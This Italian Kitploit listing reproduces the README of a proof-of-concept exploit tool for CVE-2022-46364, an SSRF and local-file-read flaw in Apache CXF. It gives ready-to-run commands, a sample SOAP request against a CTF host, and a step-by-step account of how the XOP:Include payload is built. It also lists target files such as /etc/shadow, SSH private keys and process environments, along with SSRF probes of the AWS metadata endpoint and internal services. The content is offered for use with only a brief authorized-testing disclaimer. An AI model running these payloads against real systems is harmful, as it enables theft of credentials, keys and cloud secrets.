Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
Strumenti/GitHubGitHub/0xmid00/cve-2022-46364-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebFuzzingPenetration Testing
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

Vedi Repository
116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Autore: 0xmid00
Vulnerabilità: SSRF / Lettura file locale tramite XOP:Include nelle richieste MTOM
Interessati: Apache CXF < 3.5.5 e < 3.4.10


Cos'è la Vulnerabilità?

Apache CXF elabora messaggi MTOM (Message Transmission Optimization Mechanism) che contengono elementi XOP:Include. L'attributo href di XOP:Include dovrebbe fare riferimento a un allegato all'interno dello stesso messaggio multipart MTOM.

Tuttavia, nelle versioni vulnerabili, CXF segue qualsiasi URI fornito in href, inclusi:

  • file:///etc/passwd → legge file locali (LFI)
  • http://127.0.0.1:PORT/ → sonda servizi interni (SSRF)

Un attaccante deve solo inviare una richiesta SOAP con almeno un parametro di qualsiasi tipo per attivarlo.


Requisiti

pip install requests

Utilizzo

python3 exploit.py -r request.txt [options]

Argomenti

ArgomentoDescrizione
-r, --requestPercorso del file di richiesta HTTP grezzo (obbligatorio)
--mode 1Rilevamento automatico dei campi XML iniettabili usando /etc/passwd
--mode 2Fuzzing di un wordlist di percorsi file
--field NAMESpecifica il campo XML da iniettare (salta il rilevamento automatico)
--wordlist PATHPercorso del wordlist di file per la Modalità 2
--read PATHLegge un singolo file specifico
-v, --verboseMostra informazioni dettagliate sulla richiesta

Formato del File di Richiesta

Salva la tua richiesta HTTP grezza in un file .txt esattamente come catturata (ad es. da Burp):

POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

L'exploit lo converte automaticamente in formato MTOM — non devi farlo manualmente.


Esempi

Modalità 1 — Rilevamento automatico di tutti i campi iniettabili

python3 exploit.py -r request.txt --mode 1

Prova a iniettare file:///etc/passwd in ogni elemento XML foglia e riporta quali restituiscono il contenuto del file.


Modalità 1 — Testa un campo specifico

python3 exploit.py -r request.txt --mode 1 --field content

Modalità 2 — Fuzzing dei file (rileva automaticamente il campo prima)

python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

Prima esegue la Modalità 1 per trovare il campo iniettabile, poi fuzza tutti i percorsi nel wordlist attraverso quel campo.


Modalità 2 — Fuzzing dei file con campo noto (più veloce)

python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Salta il rilevamento del campo e passa direttamente al fuzzing.


Lettura di un singolo file

python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Esempio di Wordlist (lfi.txt)

/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

Puoi anche usare SecLists:

/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Come Funziona

  1. Analizza il file di richiesta HTTP grezzo
  2. Individua il campo XML target nel corpo SOAP
  3. Sostituisce il suo contenuto con <xop:Include href="file:///..."/>
  4. Avvolge la richiesta in formato multipart MTOM (necessario per attivare il processore XOP di CXF)
  5. Invia la richiesta — CXF recupera il file e restituisce il suo contenuto codificato in base64
  6. Decodifica e stampa il risultato

Modalità SSRF

Per sondare servizi HTTP interni invece di leggere file:

python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

Oppure modifica il valore di --read con qualsiasi URL interno:

--read http://169.254.169.254/latest/meta-data/   (metadati AWS)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (banner SSH)

Disclaimer

Questo strumento è destinato solo a test di penetrazione autorizzati e sfide CTF. L'autore non è responsabile per qualsiasi uso improprio.

Scarica lo strumento